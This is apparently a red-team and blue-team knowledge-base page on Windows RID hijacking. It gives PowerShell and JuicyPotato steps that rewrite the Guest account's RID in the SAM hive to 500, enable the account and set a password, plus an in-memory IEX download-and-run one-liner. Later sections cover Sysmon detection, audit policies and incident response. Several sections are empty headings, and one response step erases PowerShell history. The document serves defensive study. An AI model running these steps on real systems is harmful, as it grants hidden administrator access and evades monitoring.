MCADDF

[PE-TOKEN-005]: RID Hijacking

Metadata

Attribute Details
Technique ID PE-TOKEN-005
MITRE ATT&CK v18.1 T1134.005 - Access Token Manipulation: Modifying Account Attributes
Tactic Privilege Escalation / Defense Evasion
Platforms Windows Endpoint / Windows AD
Severity Critical
CVE CVE-2021-42287 (related PAC bypass)
Technique Status ACTIVE
Last Verified 2025-01-15
Affected Versions Windows 10 (all), Server 2016, 2019, 2022, 2025
Patched In Not directly patched; CVE-2021-42287 mitigation via KB5008380 (Nov 2021)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: RID Hijacking is a local privilege escalation and persistence technique that modifies the Relative Identifier (RID) of a low-privileged account (such as Guest) to match the RID of the local Administrator account (500). By altering the registry value stored in the SAM (Security Account Manager) hive, the attacker causes Windows to recognize the compromised account as possessing administrative privileges. Since the modified account is typically less monitored than the built-in Administrator account, this technique enables stealthy privilege escalation and persistence on a compromised system.

Attack Surface: SAM registry hive (HKLM:\SAM\SAM\Domains\Account\Users\000001F5), specifically the binary “F” value at offset 0x30 (bytes 48-51). Access requires SYSTEM privileges.

Business Impact: Critical – Complete Local System Compromise. An attacker with RID hijacking capability can execute arbitrary code as Administrator, modify system configurations, install malware, exfiltrate sensitive data, and maintain persistent access to the system. Guest accounts are typically excluded from monitoring rules, allowing the attacker to operate undetected.

Technical Context: RID hijacking is a relatively low-detection technique because it operates entirely within the registry and leaves minimal event log traces on systems without advanced auditing enabled. Exploitation typically takes less than 1 minute once SYSTEM privileges are obtained. Detection likelihood is Medium to High only if registry access auditing (Event ID 4656, 4657) is specifically configured.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.3.1 (Guest Account) Ensure Guest account is disabled
DISA STIG V-36713 Disable Guest account
CISA SCuBA AC-2(11) Account Monitoring
NIST 800-53 AC-3 Access Enforcement; AC-6 - Least Privilege
GDPR Art. 32 Technical measures for security of processing
DORA Art. 9 Protection and Prevention measures
NIS2 Art. 21 Technical cybersecurity measures for critical infrastructure
ISO 27001 A.9.2.2 Privileged Access Rights; A.9.4.1 - Information Access Restriction
ISO 27005 Risk Scenario Account Privilege Escalation via Registry Manipulation

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools & Dependencies:

3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Check current privileges
whoami /priv

# Verify Guest account exists and its current RID
wmic useraccount where (name='Guest') get name,sid

# Output should show Guest with SID ending in 501 (RID 501)
# Example: S-1-5-21-2623811020-2361334927-2898235297-501

What to Look For:

Version Note: PowerShell behavior is identical across Windows 10 and Server versions (2016-2025).

Registry Access Verification

# Attempt to access SAM registry as current user (will fail without SYSTEM)
Get-Item -Path 'HKLM:\SAM\SAM\Domains\Account\Users' -ErrorAction SilentlyContinue

# If empty output, SYSTEM privileges are NOT available
# If registry key is accessible, SYSTEM privileges are available (or elevated permissions via regini)

Command (Server 2016-2019):

# Check if regini.exe is available for alternative approach
Get-Command regini.exe -ErrorAction SilentlyContinue

Command (Server 2022+):

# Verify regini.exe availability (typically in System32)
Test-Path "C:\Windows\System32\regini.exe"

4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: PowerShell Registry Direct Manipulation (Requires SYSTEM)

Supported Versions: Server 2016-2025, Windows 10 (all)

Step 1: Obtain SYSTEM Privileges

Objective: Establish a PowerShell session with SYSTEM context before proceeding with RID modification.

Version Note: Method identical across all Windows versions.

Command (using PsExec):

psexec -s powershell.exe

Command (using Token Impersonation – if available):

# If you have SeImpersonate privilege, use Invoke-Token impersonation
# Alternatively, use JuicyPotato:
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a '/c powershell -NoP -W Hidden -C "whoami"'

Expected Output:

nt authority\system

OpSec & Evasion:

Troubleshooting:

Step 2: Verify Guest Account Details

Objective: Confirm the current Guest account SID and RID before modification.

Command:

# Retrieve Guest account SID
$guestSID = (Get-LocalUser -Name "Guest").SID.Value
Write-Host "Guest SID: $guestSID"
Write-Host "Guest RID (last component): $($guestSID.Split('-')[-1])"

Expected Output:

Guest SID: S-1-5-21-2623811020-2361334927-2898235297-501
Guest RID (last component): 501

What This Means:

OpSec & Evasion:

Step 3: Access SAM Registry and Retrieve Binary Value

Objective: Read the binary “F” value containing the RID information for the Guest account.

Command:

# Define the registry path for Guest account
# 000001F5 = hex for 501 (RID of Guest)
$regPath = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'

# Retrieve the binary "F" value
$binaryValue = (Get-ItemProperty -Path $regPath -Name "F")."F"

# Display RID at offset 0x30 (byte 48)
Write-Host "RID at offset 0x30: 0x$("{0:X2}" -f $binaryValue[48])"

Expected Output:

RID at offset 0x30: 0xF5

What This Means:

Version Note: Offset 0x30 (byte 48) is consistent across all Windows versions; SAM hive structure unchanged since Windows Vista.

Step 4: Modify RID Value in Registry

Objective: Change the RID from 501 to 500, making Guest account appear as Administrator.

Command:

# Export current value as backup
reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' C:\Temp\guest_backup.reg

# Modify the RID at offset 0x30 (byte 48)
$binaryValue[48] = 244  # 244 = 0xF4 = RID 500

# Write the modified value back to registry
Set-ItemProperty -Path $regPath -Name "F" -Value $binaryValue

Write-Host "RID modified successfully. New value at offset 0x30: $("{0:X2}" -f $binaryValue[48])"

Expected Output:

RID modified successfully. New value at offset 0x30: F4

OpSec & Evasion:

Troubleshooting:

Step 5: Enable Guest Account (if Disabled)

Objective: Activate the Guest account if it is currently disabled (common on modern systems).

Command:

# Check current status
$guestUser = Get-LocalUser -Name "Guest"
Write-Host "Guest account enabled: $($guestUser.Enabled)"

# If disabled, enable it
if (-not $guestUser.Enabled) {
    Enable-LocalUser -Name "Guest"
    Write-Host "Guest account enabled"
}

# Set a password (optional but recommended for persistence)
$password = ConvertTo-SecureString -String "P@ssw0rd123" -AsPlainText -Force
Set-LocalUser -Name "Guest" -Password $password
Write-Host "Guest password set"

Expected Output:

Guest account enabled: True
Guest account enabled
Guest password set

OpSec & Evasion:

Troubleshooting:

Step 6: Verify RID Modification

Objective: Confirm that the Guest account now appears as Administrator.

Command:

# Method 1: Check SID (if Guest and Admin have same SID, RID hijacking worked)
$guestSID = (Get-LocalUser -Name "Guest").SID.Value
Write-Host "Guest SID after hijacking: $guestSID"
Write-Host "Guest RID (last component): $($guestSID.Split('-')[-1])"

# Method 2: Test access as Guest
whoami /all /user:Guest

Expected Output:

Guest SID after hijacking: S-1-5-21-2623811020-2361334927-2898235297-500
Guest RID (last component): 500

What This Means:

System Reboot Consideration: On some systems, a reboot may be required for full effect (token refresh). However, immediate exploitation is typically possible without reboot.

METHOD 2: Automated Script – Invoke-RIDHijacking (GitHub)

Supported Versions: Server 2016-2025, Windows 10 (all)

Step 1: Download and Execute Script

Objective: Use publicly available RID hijacking script for one-command exploitation.

Command:

# Execute in-memory from GitHub (requires SYSTEM context)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/r4wd3r/RID-Hijacking/master/Invoke-RIDHijacking.ps1')

# Execute the function
Invoke-RIDHijacking -User 'Guest' -RID 500

Expected Output:

[+] Guest account RID set to 500
[+] Modification complete

OpSec & Evasion:

Troubleshooting:

Step 2: Verify Exploitation

Command:

net user Guest

Expected Output:

Account active    Yes
RID               500

METHOD 3: Registry INI File Approach (Admin Privileges Only)

Supported Versions: Server 2016-2025, Windows 10 (all)

Note: This method requires elevated Admin privileges but NOT SYSTEM; it uses regini.exe to grant Admin-level permissions to the SAM key.

Step 1: Create INI File for Permission Modification

Objective: Create a registry permission script to grant Administrator access to SAM registry.

Command:

# Create file: C:\Temp\sam_perms.ini
cat > C:\Temp\sam_perms.ini << EOF
\Registry\Machine\SAM\SAM
[1 5 12 0 0 0 0]
EOF

# Grant permissions
regini.exe C:\Temp\sam_perms.ini

Expected Output:

Registry permissions updated

Step 2: Modify Registry with Admin Privileges

Command (PowerShell as Administrator):

# Now registry can be accessed as Administrator
$regPath = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
$binaryValue = (Get-ItemProperty -Path $regPath -Name "F")."F"
$binaryValue[48] = 244
Set-ItemProperty -Path $regPath -Name "F" -Value $binaryValue

Version Note:

5. TOOLS & COMMANDS REFERENCE

PowerShell Registry Provider

URL: Microsoft Docs - Registry Provider

Version: PowerShell 5.0+, PowerShell 7.x

Usage:

Get-ItemProperty -Path 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5' -Name "F"

Installation: Built-in to Windows

Invoke-RIDHijacking.ps1

URL: GitHub - r4wd3r/RID-Hijacking

Version: 1.0 (last updated 2018, but still functional)

Usage:

Invoke-RIDHijacking -User 'Guest' -RID 500

Installation:

# Download and dot-source
. .\Invoke-RIDHijacking.ps1
Invoke-RIDHijacking -User 'Guest' -RID 500

CreateHiddenAccount Tool

URL: GitHub - NetSPI/CreateHiddenAccount

Version: Latest compiled release

Usage:

CreateHiddenAccount.exe -Username "HiddenAdmin" -Password "P@ssw0rd123"

Installation:

# Clone repo and compile with Visual Studio or download pre-compiled executable
git clone https://github.com/NetSPI/CreateHiddenAccount.git
cd CreateHiddenAccount
# Open in Visual Studio and compile as Release

regini.exe

URL: Microsoft Sysinternals Documentation

Version: Included in Windows 10 and Server 2016+

Usage:

regini.exe C:\path\to\permissions.ini

PsExec (for SYSTEM escalation)

URL: Microsoft Sysinternals - PsExec

Version: Latest v2.4x

Usage:

psexec -s powershell.exe

Installation:

# Download from Sysinternals
# Place in C:\Windows\System32 or add to PATH

6. WINDOWS EVENT LOG MONITORING

Event ID: 4656 (Handle to an object requested)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit Registry - Set to Success and Failure
  4. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit Registry
  4. Set SACL on registry key: auditpol /set /subcategory:"Registry" /success:enable /failure:enable
  5. Restart the machine or run: auditpol /set /subcategory:"Registry" /success:enable /failure:enable

Event ID: 4657 (Registry Value Modified)

Manual Configuration Steps:

  1. Right-click on registry key: HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
  2. Select Permissions → Advanced → Auditing tab
  3. Add audit entry: Authenticated Users, Modify, All Subfolders and Values
  4. Set to Success and Failure

7. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Supported Platforms: Windows 10, Server 2016-2025

<Sysmon schemaversion="4.20">
  <EventFiltering>
    <!-- Detect registry access to SAM -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">HKLM\SAM\SAM\Domains\Account\Users</TargetObject>
      <EventType>SetValue</EventType>
    </RegistryEvent>
    
    <!-- Detect regini.exe execution (used to grant SAM permissions) -->
    <ProcessCreate onmatch="include">
      <Image condition="contains">regini.exe</Image>
    </ProcessCreate>
    
    <!-- Detect PowerShell accessing registry with certain parameters -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">SAM</CommandLine>
      <CommandLine condition="contains">Get-ItemProperty</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create config file sysmon-config.xml with XML above
  3. Install Sysmon with config: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Suspicious registry modification to SAM hive

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Endpoint (MDE integration): ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if Guest account is disabled
$guestUser = Get-LocalUser -Name "Guest"
Write-Host "Guest account enabled: $($guestUser.Enabled)"

# Check audit policies
auditpol /get /subcategory:"Registry" /r

# Check for unauthorized SYSTEM escalation tools
Get-Command -Name "*potato*", "regini.exe" -ErrorAction SilentlyContinue

Expected Output (If Secure):

Guest account enabled: False
Audit Registry: Success and Failure enabled

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command: 
    # Disconnect network interface
Get-NetAdapter | Disable-NetAdapter -Confirm:$false

    Manual (Azure):

    • Go to Azure Portal → Virtual Machines → Select VM → Networking → Disconnect Network Interface
  2. Collect Evidence: Command: 
    # Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
    
# Export SAM registry hive
reg save HKLM\SAM C:\Evidence\SAM
    
# Collect process memory (if available)
Get-Process | Where-Object { $_.ProcessName -like "*powershell*" } | ForEach-Object { 
    Write-Host "Found: $($_.ProcessName) (PID: $($_.Id))"
}

    Manual:

    • Open Event Viewer → Right-click Security → Save All Events As → C:\Evidence\Security.evtx
    • Use Registry Editor to export SAM: File → Export → Select HKLM\SAM
  3. Remediate: Command: 
    # Disable hijacked Guest account
Disable-LocalUser -Name "Guest"
    
# Restore original RID (if backup available)
reg import C:\Evidence\guest_backup.reg
    
# Remove any hidden accounts
Get-LocalUser | Where-Object { $_.Name -like "*$" } | Remove-LocalUser -Force
    
# Clear PowerShell history
Remove-Item $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -Force

    Manual:

    • Open Computer Management → Local Users and Groups → Users
    • Right-click Guest account → Disable (or delete if not required)
    • Check for hidden accounts (named with “$” suffix) and delete them
Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Exploit application or service to gain initial foothold (e.g., web server RCE)
2 Privilege Escalation [CA-DUMP-001] / [CA-DUMP-002] Dump credentials from LSASS or domain controller (e.g., Mimikatz)
3 Lateral Movement Token Impersonation / [PE-TOKEN-001] Steal or manipulate access tokens to escalate to SYSTEM
4 Current Step [PE-TOKEN-005] RID Hijacking Modify Registry to grant admin privileges to low-privilege account
5 Persistence [PE-ACCTMGMT-001] Ensure hijacked account remains active; disable logging for Guest account
6 Impact Data Exfiltration / Lateral Movement Use hijacked account to access sensitive data or pivot to other systems

12. REAL-WORLD EXAMPLES

Example 1: Andariel APT Group (January 2025)

Example 2: Operational Technology (OT) Compromise - Manufacturing Facility (2023)

This site is open source. Improve this page.